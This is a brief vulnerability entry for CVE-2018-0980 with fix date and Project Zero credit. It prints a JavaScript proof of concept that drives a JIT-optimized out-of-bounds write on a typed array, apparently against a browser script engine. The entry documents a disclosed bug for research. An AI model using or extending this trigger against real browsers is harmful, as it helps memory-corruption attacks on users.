CVE-2018-0980.md

CVE-2018-0980

• Fix: Apr 2018
• Credit: lokihardt of Google Project Zero

PoC

function opt(arr, idx) {
    ((arr.length === 0x7ffffff0 && arr[0x7ffffff0]) || false) && (arr.length === 0x7ffffff0 && arr[0x7ffffff1]) || (arr[0x11111111] = 0x1234);
}

function main() {
    let arr = new Uint32Array(1);
    for (let i = 0; i < 10000; i++) {
        opt(arr);
    }
}

main();

Reference

• Microsoft
• Google Project Zero
• Fix